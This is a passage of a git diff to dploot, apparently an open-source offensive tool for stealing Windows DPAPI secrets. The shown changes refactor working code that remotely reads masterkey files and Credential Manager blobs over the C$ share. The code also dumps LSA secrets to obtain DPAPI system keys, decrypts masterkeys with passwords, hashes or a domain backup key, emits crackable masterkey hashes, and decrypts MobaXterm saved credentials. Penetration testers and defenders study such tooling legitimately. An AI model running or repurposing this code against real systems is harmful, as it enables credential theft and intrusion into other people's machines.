credential_folder=user_credential_dir, + winuser=user, + ) return credentials - def triage_credentials_folder(self, credential_folder_path,credential_folder, winuser: str) -> List[Credential]: - credentials = list() + def triage_credentials_folder( + self, credential_folder_path, credential_folder, winuser: str + ) -> List[Credential]: + credentials = [] for d in credential_folder: if is_credfile(d.get_longname()): cred_filename = d.get_longname() - cred_filename_path = ntpath.join(credential_folder_path,cred_filename) - logging.debug("Found Credential Manager blob: \\\\%s\\%s\\%s" % (self.target.address,self.share,cred_filename_path)) - # read credman blob - credmanblob_bytes = self.conn.readFile(self.share,cred_filename_path) + cred_filename_path = ntpath.join(credential_folder_path, cred_filename) + logging.debug( + f"Found Credential Manager blob: \\\\{self.target.address}\\{self.share}\\{cred_filename_path}" + ) + # read credman blob + credmanblob_bytes = self.conn.readFile(self.share, cred_filename_path, looted_files=self.looted_files) if credmanblob_bytes is not None and self.masterkeys is not None: - self.looted_files[cred_filename] = credmanblob_bytes - masterkey = find_masterkey_for_credential_blob(credmanblob_bytes, self.masterkeys) + masterkey = find_masterkey_for_credential_blob( + credmanblob_bytes, self.masterkeys + ) if masterkey is not None: - cred = decrypt_credential(credmanblob_bytes,masterkey) - try: - if cred['Unknown3'].decode('utf-16le') != '': - credentials.append(Credential( + cred = decrypt_credential(credmanblob_bytes, masterkey) + credential = None + if cred["Unknown3"] != b"": + try: + credential = Credential( winuser=winuser, credblob=cred, - target=cred['Target'].decode('utf-16le'), - description=cred['Description'].decode('utf-16le'), - unknown=cred['Unknown'].decode('utf-16le'), - username=cred['Username'].decode('utf-16le'), - password=cred['Unknown3'].decode('utf-16le') - )) - except UnicodeDecodeError: - if cred['Unknown3'] != '': - credentials.append(Credential( + target=cred["Target"].decode("utf-16le"), + description=cred["Description"].decode("utf-16le"), + unknown=cred["Unknown"].decode("utf-16le"), + username=cred["Username"].decode("utf-16le"), + password=cred["Unknown3"].decode("utf-16le"), + ) + except UnicodeDecodeError: + credential = Credential( winuser=winuser, credblob=cred, - target=f"HEX[{cred['Target'].hex()}]", - description=f"HEX[{cred['Description'].hex()}]", - unknown=f"HEX[{cred['Unknown'].hex()}]", - username=f"HEX[{cred['Username'].hex()}]", - password=f"HEX[{cred['Unknown3'].hex()}]", - )) + target=cred["Target"].decode("utf-16le"), + description=cred["Description"].decode("utf-16le"), + unknown=cred["Unknown"].decode("utf-16le"), + username=cred["Username"].decode("utf-16le"), + password=cred["Unknown3"].decode("latin-1"), + ) + credentials.append(credential) + if self.per_credential_callback is not None: + self.per_credential_callback(credential) else: logging.debug("Could not decrypt...") return credentials @@ -127,15 +163,7 @@ def triage_credentials_folder(self, credential_folder_path,credential_folder, wi def users(self) -> List[str]: if self._users is not None: return self._users - - users = list() - - users_dir_path = 'Users\\*' - directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path)) - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) - - self._users = users - - return self._users \ No newline at end of file + + self._users = self.conn.list_users(self.share) + + return self._users diff --git a/dploot/triage/masterkeys.py b/dploot/triage/masterkeys.py index 6e7214c..5a9e5b3 100755 --- a/dploot/triage/masterkeys.py +++ b/dploot/triage/masterkeys.py @@ -1,181 +1,356 @@ from binascii import hexlify, unhexlify import logging import ntpath -from typing import Dict, List +import os +from typing import Any, Dict, List, Optional from Cryptodome.Hash import SHA1 from impacket.examples.secretsdump import LSASecrets +from impacket.dpapi import ( + MasterKeyFile, + MasterKey, + ALGORITHMS_DATA +) from dploot.lib.dpapi import decrypt_masterkey from dploot.lib.target import Target from dploot.lib.utils import find_guid, find_sha1, is_guid, parse_file_as_list from dploot.lib.smb import DPLootSMBConnection + class Masterkey: - def __init__(self, guid, sha1, user: str = 'None') -> None: + def __init__(self, guid, blob, sid, key = None, sha1 = None, user: str = "None") -> None: self.guid = guid - self.sha1 = sha1 + self.blob = blob + self.sid = sid self.user = user + self.key = key + self._sha1 = sha1 + + self.generate_hash() + def __str__(self) -> str: - return "{%s}:%s" % (self.guid,self.sha1) + return f"{{{self.guid}}}:{self.sha1}" if self.key is not None else "" + + def decrypt(self, domain_backupkey = None, password = None, nthash = None, dpapi_systemkey = None) -> bool: + key = decrypt_masterkey( + masterkey=self.blob, + domain_backupkey=domain_backupkey, + sid=self.sid, + password=password, + nthash=nthash, + dpapi_systemkey=dpapi_systemkey + ) + if key is not None: + self.key = key + return True + return False + + def generate_hash(self): + hashes = [] + mkf = MasterKeyFile(self.blob) + data = self.blob[len(mkf) :] + if mkf["MasterKeyLen"] > 0: + mk = MasterKey(data[:mkf["MasterKeyLen"]]) + try: + version = mk["Version"] + hash_algo = ALGORITHMS_DATA[mk["HashAlgo"]][1].__name__.split(".")[-1].lower() + crypt_algo = ALGORITHMS_DATA[mk["CryptAlgo"]][1].__name__.split(".")[-1].lower() + if crypt_algo == "aes": + crypt_algo = "aes256" + iteration_count = mk["MasterKeyIterationCount"] + iv = hexlify(mk["Salt"]).decode("ascii") + encryted_data = hexlify(mk["data"]).decode("ascii") + hashes = [f"{self.user}:$DPAPImk${version}*{context}*{self.sid}*{crypt_algo}*{hash_algo}*{iteration_count}*{iv}*{len(encryted_data)}*{encryted_data}"for context in [1,2,3]] + except Exception as e: + import traceback + traceback.print_exc() + print(e) + return hashes def dump(self) -> None: print(self) + @property + def sha1(self): + if self._sha1 is not None: + return self._sha1 + if self.key is not None: + try: + self._sha1 = hexlify(SHA1.new(self.key).digest()).decode("latin-1") + except Exception as e: + logging.debug(f"Could not generate sha1 for masterkey {self.guid}: {e}") + return self._sha1 + def parse_masterkey_file(filename) -> List[Masterkey]: - masterkeys = list() + masterkeys = [] masterkeys_lines = parse_file_as_list(filename) for masterkey in masterkeys_lines: - guid, sha1 = masterkey.split(':',1) - masterkeys.append(Masterkey( - guid=find_guid(guid), - sha1=find_sha1(sha1), - )) + guid, sha1 = masterkey.split(":", 1) + masterkeys.append( + Masterkey( + guid=find_guid(guid), + sha1=find_sha1(sha1), + ) + ) return masterkeys -class MasterkeysTriage: - false_positive = ['.','..', 'desktop.ini','Public','Default','Default User','All Users'] - user_masterkeys_generic_path = 'AppData\\Roaming\\Microsoft\\Protect' - system_masterkeys_generic_path = 'Windows\\System32\\Microsoft\\Protect' - share = 'C$' +class MasterkeysTriage: + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] + user_masterkeys_generic_path = "AppData\\Roaming\\Microsoft\\Protect" + system_masterkeys_generic_path = "Windows\\System32\\Microsoft\\Protect" + share = "C$" - def __init__(self, target: Target, conn: DPLootSMBConnection, pvkbytes: bytes = None, passwords: Dict[str,str] = None, nthashes: Dict[str,str] = None, dpapiSystem: Dict[str,str] = None) -> None: + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + pvkbytes: Optional[bytes] = None, + passwords: Optional[Dict[str, str]] = None, + nthashes: Optional[Dict[str, str]] = None, + dpapiSystem: Optional[Dict[str, str]] = None, + per_masterkey_callback: Any = None, + ) -> None: self.target = target self.conn = conn self.pvkbytes = pvkbytes self.passwords = passwords self.nthashes = nthashes - + self._users = None - self.looted_files = dict() + self.looted_files = {} + self.all_looted_masterkeys = [] self.dpapiSystem = dpapiSystem if self.dpapiSystem is None: self.dpapiSystem = {} # should be {"MachineKey":"key","Userkey":"key"} + self.per_masterkey_callback = per_masterkey_callback + def triage_system_masterkeys(self) -> List[Masterkey]: - masterkeys = list() + masterkeys = [] logging.getLogger("impacket").disabled = True if len(self.dpapiSystem) == 0: - self.conn.enable_remoteops() - if self.conn.remote_ops and self.conn.bootkey: - - SECURITYFileName = self.conn.remote_ops.saveSECURITY() - LSA = LSASecrets(SECURITYFileName, self.conn.bootkey, self.conn.remote_ops, isRemote=True, - perSecretCallback=self.getDPAPI_SYSTEM) - LSA.dumpSecrets() - LSA.finish() - system_protect_dir = self.conn.remote_list_dir(self.share, path=self.system_masterkeys_generic_path) + if self.conn.local_session: + self.conn.enable_localops( + os.path.join( + self.target.local_root, r"Windows/System32/config/SYSTEM" + ) + ) + else: + self.conn.enable_remoteops() + if self.conn.bootkey: + logging.debug(f"Got Bootkey: {hexlify(self.conn.bootkey)}") + + try: + SECURITYFileName = ( + os.path.join( + self.target.local_root, r"Windows/System32/config/SECURITY" + ) + if self.conn.local_session + else self.conn.remote_ops.saveSECURITY() + ) + # retrieve DPAPI keys + LSA = LSASecrets( + SECURITYFileName, + self.conn.bootkey, + self.conn.remote_ops, + isRemote=(not bool(self.conn.local_session)), + perSecretCallback=self.getDPAPI_SYSTEM, + ) + LSA.dumpSecrets() + LSA.finish() + except Exception as e: + logging.error("LSA hashes extraction failed: %s" % str(e)) + if self.dpapiSystem is None or len(self.dpapiSystem) != 2: + logging.debug("Could not get DPAPI SYSTEM keys") + return masterkeys + system_protect_dir = self.conn.remote_list_dir( + self.share, path=self.system_masterkeys_generic_path + ) for d in system_protect_dir: - if d not in self.false_positive and d.is_directory()>0 and d.get_longname()[:2] == 'S-':# could be a better way to deal with sid + if ( + d not in self.false_positive + and d.is_directory() > 0 + and d.get_longname()[:2] == "S-" + ): # could be a better way to deal with sid sid = d.get_longname() - system_protect_dir_sid_path = ntpath.join(self.system_masterkeys_generic_path,sid) - system_sid_dir = self.conn.remote_list_dir(self.share, path=system_protect_dir_sid_path) + system_protect_dir_sid_path = ntpath.join( + self.system_masterkeys_generic_path, sid + ) + system_sid_dir = self.conn.remote_list_dir( + self.share, path=system_protect_dir_sid_path + ) for f in system_sid_dir: if f.is_directory() == 0 and is_guid(f.get_longname()): guid = f.get_longname() - filepath = ntpath.join(system_protect_dir_sid_path,guid) - logging.debug("Found SYSTEM system MasterKey: \\\\%s\\%s\\%s" % (self.target.address,self.share,filepath)) + filepath = ntpath.join(system_protect_dir_sid_path, guid) + logging.debug( + f"Found SYSTEM system MasterKey: \\\\{self.target.address}\\{self.share}\\{filepath}" + ) # read masterkey - masterkey_bytes = self.conn.readFile(self.share, filepath) + masterkey_bytes = self.conn.readFile(self.share, filepath, looted_files=self.looted_files) if masterkey_bytes is not None: - self.looted_files[guid] = masterkey_bytes - key = decrypt_masterkey(masterkey=masterkey_bytes, dpapi_systemkey=self.dpapiSystem) - if key is not None: - masterkeys.append(Masterkey(guid=guid, sha1=hexlify(SHA1.new(key).digest()).decode('latin-1'), user='SYSTEM')) - elif f.is_directory()>0 and f.get_longname() == 'User': - system_protect_dir_user_path = ntpath.join(system_protect_dir_sid_path,'User') - system_user_dir = self.conn.remote_list_dir(self.share, path=system_protect_dir_user_path) + masterkey = Masterkey( + guid=guid, + blob=masterkey_bytes, + sid=sid, + user="SYSTEM" + ) + self.all_looted_masterkeys.append(masterkey) + if masterkey.decrypt(dpapi_systemkey=self.dpapiSystem): + masterkeys.append(masterkey) + if self.per_masterkey_callback is not None: + self.per_masterkey_callback(masterkey) + elif f.is_directory() > 0 and f.get_longname() == "User": + system_protect_dir_user_path = ntpath.join( + system_protect_dir_sid_path, "User" + ) + system_user_dir = self.conn.remote_list_dir( + self.share, path=system_protect_dir_user_path + ) for g in system_user_dir: if g.is_directory() == 0 and is_guid(g.get_longname()): guid = g.get_longname() - filepath = ntpath.join(system_protect_dir_user_path,guid) - logging.debug("Found SYSTEM user MasterKey: \\\\%s\\%s\\%s" % (self.target.address,self.share,filepath)) + filepath = ntpath.join( + system_protect_dir_user_path, guid + ) + logging.debug( + f"Found SYSTEM user MasterKey: \\\\{self.target.address}\\{self.share}\\{filepath}" + ) # read masterkey - masterkey_bytes = self.conn.readFile(self.share, filepath) + masterkey_bytes = self.conn.readFile( + self.share, filepath, looted_files=self.looted_files + ) if masterkey_bytes is not None: - self.looted_files[guid] = masterkey_bytes - key = decrypt_masterkey(masterkey=masterkey_bytes, dpapi_systemkey=self.dpapiSystem, sid=sid) - if key is not None: - masterkeys.append(Masterkey(guid=guid, sha1=hexlify(SHA1.new(key).digest()).decode('latin-1'), user='SYSTEM_User')) + masterkey = Masterkey( + guid=guid, + blob=masterkey_bytes, + sid=sid, + user="SYSTEM_User" + ) + self.all_looted_masterkeys.append(masterkey) + if masterkey.decrypt(dpapi_systemkey=self.dpapiSystem): + masterkeys.append(masterkey) + if self.per_masterkey_callback is not None: + self.per_masterkey_callback(masterkey) return masterkeys def triage_masterkeys(self) -> List[Masterkey]: - masterkeys = list() + masterkeys = [] for user in self.users: try: masterkeys += self.triage_masterkeys_for_user(user) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) return masterkeys - - def triage_masterkeys_for_user(self, user:str) -> List[Masterkey]: - masterkeys = list() - user_masterkey_path = ntpath.join(ntpath.join('Users', user),self.user_masterkeys_generic_path) - user_protect_dir = self.conn.remote_list_dir(self.share, path=user_masterkey_path) - if user_protect_dir is None: # Yes, it's possible that users have an AppData tree but no Protect folder + + def triage_masterkeys_for_user(self, user: str) -> List[Masterkey]: + masterkeys = [] + user_masterkey_path = ntpath.join( + ntpath.join("Users", user), self.user_masterkeys_generic_path + ) + user_protect_dir = self.conn.remote_list_dir( + self.share, path=user_masterkey_path + ) + if ( + user_protect_dir is None + ): # Yes, it's possible that users have an AppData tree but no Protect folder return masterkeys for d in user_protect_dir: - if d not in self.false_positive and d.is_directory()>0 and d.get_longname()[:2] == 'S-':# could be a better way to deal with sid + if ( + d not in self.false_positive + and d.is_directory() > 0 + and d.get_longname()[:2] == "S-" + ): # could be a better way to deal with sid sid = d.get_longname() - user_masterkey_path_sid = ntpath.join(ntpath.join(ntpath.join('Users', user),self.user_masterkeys_generic_path),sid) - user_sid_dir = self.conn.remote_list_dir(self.share, path=user_masterkey_path_sid) - for f in user_sid_dir: + user_masterkey_path_sid = ntpath.join( + ntpath.join( + ntpath.join("Users", user), self.user_masterkeys_generic_path + ), + sid, + ) + user_sid_dir = self.conn.remote_list_dir( + self.share, path=user_masterkey_path_sid + ) + for f in user_sid_dir: if f.is_directory() == 0 and is_guid(f.get_longname()): guid = f.get_longname() - filepath = ntpath.join(user_masterkey_path_sid,guid) - logging.debug("Found MasterKey: \\\\%s\\%s\\%s" % (self.target.address,self.share,filepath)) + filepath = ntpath.join(user_masterkey_path_sid, guid) + logging.debug( + f"Found MasterKey: \\\\{self.target.address}\\{self.share}\\{filepath}" + ) # read masterkey - masterkey_bytes = self.conn.readFile(self.share, filepath) + masterkey_bytes = self.conn.readFile(self.share, filepath, looted_files=self.looted_files) if masterkey_bytes is not None: - self.looted_files[guid] = masterkey_bytes password = None nthash = None - if self.passwords is not None and user.lower() in self.passwords: + if ( + self.passwords is not None + and user.lower() in self.passwords + ): password = self.passwords[user.lower()] - elif self.passwords is not None and user.rpartition('.')[0].lower() in self.passwords: - password = self.passwords[user.rpartition('.')[0].lower()] # In case of duplicate (like admin and admin.waza) on usernames in c:\Users\ - if self.nthashes is not None and user.lower() in self.nthashes: + elif ( + self.passwords is not None + and user.rpartition(".")[0].lower() in self.passwords + ): + password = self.passwords[ + user.rpartition(".")[0].lower() + ] # In case of duplicate (like admin and admin.waza) on usernames in c:\Users\ + if ( + self.nthashes is not None + and user.lower() in self.nthashes + ): nthash = self.nthashes[user.lower()] - elif self.nthashes is not None and user.rpartition('.')[0].lower() in self.nthashes: - nthash = self.nthashes[user.rpartition('.')[0].lower()] - key = decrypt_masterkey( - masterkey=masterkey_bytes, + elif ( + self.nthashes is not None + and user.rpartition(".")[0].lower() in self.nthashes + ): + nthash = self.nthashes[user.rpartition(".")[0].lower()] + masterkey = Masterkey( + guid=guid, + blob=masterkey_bytes, + sid=sid, + user=user, + ) + self.all_looted_masterkeys.append(masterkey) + if masterkey.decrypt( domain_backupkey=self.pvkbytes, - sid=sid, password=password, nthash=nthash, - ) - if key is not None: - masterkeys.append(Masterkey(guid=guid, sha1=hexlify(SHA1.new(key).digest()).decode('latin-1'), user=user)) + ): + masterkeys.append(masterkey) + if self.per_masterkey_callback is not None: + self.per_masterkey_callback(masterkey) return masterkeys - def getDPAPI_SYSTEM(self,_, secret) -> None: + def getDPAPI_SYSTEM(self, _, secret) -> None: if secret.startswith("dpapi_machinekey:"): - machineKey, userKey = secret.split('\n') - machineKey = machineKey.split(':')[1] - userKey = userKey.split(':')[1] - self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:]) - self.dpapiSystem['UserKey'] = unhexlify(userKey[2:]) + machineKey, userKey = secret.split("\n") + machineKey = machineKey.split(":")[1] + userKey = userKey.split(":")[1] + self.dpapiSystem["MachineKey"] = unhexlify(machineKey[2:]) + self.dpapiSystem["UserKey"] = unhexlify(userKey[2:]) @property def users(self) -> List[str]: if self._users is not None: return self._users - - users = list() - - users_dir_path = 'Users\\*' - directories = self.conn.listPath(shareName='C$', path=ntpath.normpath(users_dir_path)) - for d in directories: - if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) - - self._users = users - return self._users \ No newline at end of file + self._users = self.conn.list_users(self.share) + + return self._users diff --git a/dploot/triage/mobaxterm.py b/dploot/triage/mobaxterm.py index 24b1f30..29d2f78 100644 --- a/dploot/triage/mobaxterm.py +++ b/dploot/triage/mobaxterm.py @@ -1,8 +1,9 @@ from base64 import b64decode import logging import ntpath +import os import tempfile -from typing import List, Tuple +from typing import Any, Dict, List, Tuple, Optional from Cryptodome.Cipher import AES from impacket import winregistry @@ -15,6 +16,7 @@ from dploot.triage.masterkeys import Masterkey from dataclasses import dataclass + @dataclass class MobaXtermPassword: winuser: str @@ -23,19 +25,24 @@ class MobaXtermPassword: password: bytes = None def decrypt(self, masterpassword_key): - iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt(b'\x00' * AES.block_size) - cipher = AES.new(key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8) + iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt( + b"\x00" * AES.block_size + ) + cipher = AES.new( + key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8 + ) self.password = cipher.decrypt(b64decode(self.password_encrypted)) - + def dump(self) -> None: print("[MOBAXTERM PASSWORD]") print("Username:\t%s" % self.username) if self.password is not None: - print("Password:\t%s" % self.password.decode('latin-1')) + print("Password:\t%s" % self.password.decode("latin-1")) print() def dump_quiet(self) -> None: - print("[MOBAXTERM PASSWORD] %s:%s" % (self.username, self.password)) + print(f"[MOBAXTERM PASSWORD] {self.username}:{self.password}") + @dataclass class MobaXtermCredential: @@ -46,8 +53,12 @@ class MobaXtermCredential: password: bytes = None def decrypt(self, masterpassword_key): - iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt(b'\x00' * AES.block_size) - cipher = AES.new(key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8) + iv = AES.new(key=masterpassword_key, mode=AES.MODE_ECB).encrypt( + b"\x00" * AES.block_size + ) + cipher = AES.new( + key=masterpassword_key, iv=iv, mode=AES.MODE_CFB, segment_size=8 + ) self.password = cipher.decrypt(b64decode(self.password_encrypted)) def dump(self) -> None: @@ -55,11 +66,14 @@ def dump(self) -> None: print("Name:\t\t%s" % self.name) print("Username:\t%s" % self.username) if self.password is not None: - print("Password:\t%s" % self.password.decode('latin-1')) + print("Password:\t%s" % self.password.decode("latin-1")) print() def dump_quiet(self) -> None: - print("[MOBAXTERM CREDENTIAL] %s - %s:%s" % (self.name, self.username, self.password)) + print( + f"[MOBAXTERM CREDENTIAL] {self.name} - {self.username}:{self.password}" + ) + @dataclass class MobaXtermMasterPassword: @@ -69,28 +83,59 @@ class MobaXtermMasterPassword: entropy: bytes masterpassword_raw_value: bytes masterpassword_decrypted: bytes = None + _key: bytes = None def decrypt_masterpassword_raw_value(self, masterkeys): - dpapi_blob = bytes.fromhex("01000000d08c9ddf0115d1118c7a00c04fc297eb") + b64decode(self.masterpassword_raw_value) + dpapi_blob = bytes.fromhex( + "01000000d08c9ddf0115d1118c7a00c04fc297eb" + ) + b64decode(self.masterpassword_raw_value) masterkey = find_masterkey_for_blob(dpapi_blob, masterkeys) if masterkey is not None: - self.masterpassword_decrypted = decrypt_blob(blob_bytes=dpapi_blob, masterkey=masterkey, entropy=self.entropy) + self.masterpassword_decrypted = decrypt_blob( + blob_bytes=dpapi_blob, masterkey=masterkey, entropy=self.entropy + ) + + @property + def key(self): + if self._key is not None: + return self._key + if self.masterpassword_decrypted is None: + return self.masterpassword_decrypted + + self._key = b64decode(self.masterpassword_decrypted)[0:32] + return self._key def dump(self) -> None: print("[MOBAXTERM MASTERPASSWORD KEY]") print("Host:\t\t\t%s" % self.host) print("Username:\t\t%s" % self.username) if self.masterpassword_decrypted is not None: - print("MasterPassword Key:\t%s" % b64decode(self.masterpassword_decrypted).hex()) + print( + "MasterPassword Key:\t%s" + % b64decode(self.masterpassword_decrypted).hex() + ) print() def dump_quiet(self) -> None: - print("[MOBAXTERM MASTERPASSWORD KEY] %s - %s - %s" % (self.host, self.username, b64decode(self.masterpassword_decrypted).hex())) + print( + f"[MOBAXTERM MASTERPASSWORD KEY] {self.host} - {self.username} - {b64decode(self.masterpassword_decrypted).hex()}" + ) + class MobaXtermTriage: - false_positive = [".","..", "desktop.ini","Public","Default","Default User","All Users"] - mobaxterm_registry_key_path = "Software\\Mobatek\\MobaXterm" - mobaxterm_sessionp_key_path = ntpath.join(mobaxterm_registry_key_path,"SessionP") + false_positive = [ + ".", + "..", + "desktop.ini", + "Public", + "Default", + "Default User", + "All Users", + ] + + mobaxterm_conf_file_path = "Users\\{username}\\AppData\\Roaming\\MobaXterm\\MobaXterm.ini" + mobaxterm_registry_key_path = "SOFTWARE\\Mobatek\\MobaXterm" + mobaxterm_sessionp_key_path = ntpath.join(mobaxterm_registry_key_path, "SessionP") mobaxterm_masterpassword_registry_key = "M" mobaxterm_passwords_registry_key = "P" mobaxterm_credentials_registry_key = "C" @@ -98,87 +143,122 @@ class MobaXtermTriage: ntuser_dat_path = "Users\\{username}\\NTUSER.DAT" share = "C$" - def __init__(self, target: Target, conn: DPLootSMBConnection, masterkeys: List[Masterkey]) -> None: + def __init__( + self, + target: Target, + conn: DPLootSMBConnection, + masterkeys: List[Masterkey], + per_secret_callback: Any = None, + ) -> None: self.target = target self.conn = conn - + self.looted_files = {} + self._users = None self.masterkeys = masterkeys - def triage_mobaxterm(self) -> Tuple[List[MobaXtermMasterPassword], List["MobaXtermCredential | MobaXtermPassword"]]: + self.per_secret_callback = per_secret_callback + + def triage_mobaxterm( + self, offline_users: bool = False + ) -> Tuple[ + List[MobaXtermMasterPassword], List["MobaXtermCredential | MobaXtermPassword"] + ]: logging.getLogger("impacket").disabled = True mobaxterm_credentials = [] mobaxterm_masterpassword_key = [] - for user,sid in self.users.items(): + for user, sid in self.users.items(): try: - masterpassword_key, credentials = self.triage_mobaxterm_for_user(user,sid) + masterpassword_key, credentials = self.triage_mobaxterm_for_user( + user, sid, offline_users + ) if masterpassword_key is not None: mobaxterm_credentials += credentials mobaxterm_masterpassword_key.append(masterpassword_key) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) return mobaxterm_masterpassword_key, mobaxterm_credentials - - def triage_mobaxterm_for_user(self, user: str, sid: str = None) -> Tuple[MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"]]: + + def triage_mobaxterm_for_user( + self, user: str, sid: Optional[str] = None, offline_users: bool = False + ) -> Tuple[ + MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"] + ]: mobaxterm_masterpassword = None mobaxterm_credentials = [] - try: - ntuser_dat_bytes = self.conn.readFile(self.share,self.ntuser_dat_path.format(username=user)) - except Exception as e: - import traceback - traceback.print_exc() - logging.error(e) - if ntuser_dat_bytes is None: - mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_remote_registry(user,sid) - else: + + mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_files(user, sid) + if not self.conn.local_session and (mobaxterm_masterpassword is None or len(mobaxterm_credentials) == 0): + + logging.debug(f"Triaging MobaXterm for user {user}") + mobaxterm_masterpassword, mobaxterm_credentials = ( + self.extract_mobaxtermkeys_for_user_from_remote_registry(user, sid) + ) + + if mobaxterm_masterpassword is None and offline_users: + try: + ntuser_dat_bytes = ( + self.conn.readFile( + self.share, self.ntuser_dat_path.format(username=user), looted_files=self.looted_files + ) + if offline_users + else None + ) + except Exception as e: + import traceback + + traceback.print_exc() + logging.error(e) + # Preparing NTUSER.DAT file fh = tempfile.NamedTemporaryFile() fh.write(ntuser_dat_bytes) fh.seek(0) - # Extracting everything - mobaxterm_masterpassword, mobaxterm_credentials = self.extract_mobaxtermkeys_for_user_from_ntuser_dat(fh.name, user) - - if mobaxterm_masterpassword is None: - return None, [] - self.decrypt_mobaxterm_masterpassword(mobaxterm_masterpassword) - logging.debug(f"Found Mobaxterm MasterPassword for user {user}") - mobaxterm_key = b64decode(mobaxterm_masterpassword.masterpassword_decrypted)[0:32] - for credential in mobaxterm_credentials: - credential.decrypt(mobaxterm_key) + mobaxterm_masterpassword, mobaxterm_credentials = ( + self.extract_mobaxtermkeys_for_user_from_ntuser_dat(fh.name, user) + ) return mobaxterm_masterpassword, mobaxterm_credentials - def extract_mobaxtermkeys_for_user_from_ntuser_dat(self, ntuser_dat_filename: str, user: str) -> Tuple[MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"]]: + def extract_mobaxtermkeys_for_user_from_ntuser_dat( + self, ntuser_dat_filename: str, user: str + ) -> Tuple[ + MobaXtermMasterPassword, List["MobaXtermCredential | MobaXtermPassword"] + ]: reg = winregistry.Registry(ntuser_dat_filename, isRemote=False) parent_key = reg.findKey(self.mobaxterm_registry_key_path) if parent_key is None: # MobaXterm is not installed for this user return None, [] logging.debug(f"Found MobaXterm registry keys for user {user}") - + mobaxterm_masterpassword_key = None mobaxterm_credentials = [] try: entropy = reg.getValue(self.mobaxterm_sessionp_key_path)[1] - entropy = entropy.decode('utf-16le').rstrip('\0').encode() + entropy = entropy.decode("utf-16le").rstrip("\0").encode() except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - try: - key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_masterpassword_registry_key) + key_path = ntpath.join( + self.mobaxterm_registry_key_path, + self.mobaxterm_masterpassword_registry_key, + ) new_key = reg.findKey(key_path) values = reg.enumValues(new_key) - data = reg.getValue(ntpath.join(key_path,values[-1].decode("utf-8"))) + data = reg.getValue(ntpath.join(key_path, values[-1].decode("utf-8"))) username, host = values[-1].decode("utf-8").split("@") mobaxterm_masterpassword_key = MobaXtermMasterPassword( winuser=user, @@ -187,179 +267,394 @@ def extract_mobaxtermkeys_for_user_from_ntuser_dat(self, ntuser_dat_filename: st entropy=entropy, masterpassword_raw_value=data[1], ) + mobaxterm_masterpassword_key.decrypt_masterpassword_raw_value( + masterkeys=self.masterkeys + ) + logging.debug(f"Found Mobaxterm MasterPassword for user {user}") except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) - + if mobaxterm_masterpassword_key.key is None: + return mobaxterm_masterpassword_key, mobaxterm_credentials try: - key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_credentials_registry_key) + key_path = ntpath.join( + self.mobaxterm_registry_key_path, + self.mobaxterm_credentials_registry_key, + ) key = reg.findKey(key_path) values = reg.enumValues(key) logging.debug(f"Found {len(values)} Mobaxterm Credentials for user {user}") for value in values: - data = reg.getValue(ntpath.join(key_path, value.decode('latin-1'))) - username, password_encrypted = data[1].decode('latin-1').split(':') + _, data = reg.getValue(ntpath.join(key_path, value.decode("latin-1"))) + username, password_encrypted = data.split(b":") mobaxterm_credential = MobaXtermCredential( winuser=user, - name=value.decode('latin-1'), - username=username, + name=value.decode("latin-1"), + username=username.decode("utf-16le", errors="backslashreplace"), password_encrypted=password_encrypted, ) + mobaxterm_credential.decrypt(mobaxterm_masterpassword_key.key) mobaxterm_credentials.append(mobaxterm_credential) + if self.per_secret_callback is not None: + self.per_secret_callback(mobaxterm_credential) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) try: - key_path = ntpath.join(self.mobaxterm_registry_key_path,self.mobaxterm_passwords_registry_key) + key_path = ntpath.join( + self.mobaxterm_registry_key_path, self.mobaxterm_passwords_registry_key + ) key = reg.findKey(key_path) values = reg.enumValues(key) logging.debug(f"Found {len(values)} Mobaxterm Passwords for user {user}") for value in values: - data = reg.getValue(ntpath.join(key_path, value.decode('utf-8'))) + data = reg.getValue(ntpath.join(key_path, value.decode("utf-8"))) mobaxterm_credential = MobaXtermPassword( winuser=user, - username=value.decode('latin-1'), - password_encrypted=data[-1].decode('latin-1') + username=value.decode("latin-1"), + password_encrypted=data[-1].decode("latin-1"), ) + mobaxterm_credential.decrypt(mobaxterm_masterpassword_key.key) mobaxterm_credentials.append(mobaxterm_credential) + if self.per_secret_callback is not None: + self.per_secret_callback(mobaxterm_credential) except Exception as e: if logging.getLogger().level == logging.DEBUG: import traceback + traceback.print_exc() logging.debug(str(e)) return mobaxterm_masterpassword_key, mobaxterm_credentials - def decrypt_mobaxterm_masterpassword(self, mobaxterm_masterpassword: MobaXtermMasterPassword, entropy: bytes = None) -> None: - if entropy is not None: - mobaxterm_masterpassword.entropy = entropy - mobaxterm_masterpassword.decrypt_masterpassword_raw_value(masterkeys=self.masterkeys) - - def decrypt_mobaxterm_password(self, mobaxterm_password: "MobaXtermCredential|MobaXtermPassword", mobaxterm_masterpassword: MobaXtermMasterPassword) -> None: - mobaxterm_password.decrypt(masterpassword_key=mobaxterm_masterpassword.masterpassword_decrypted) - - def 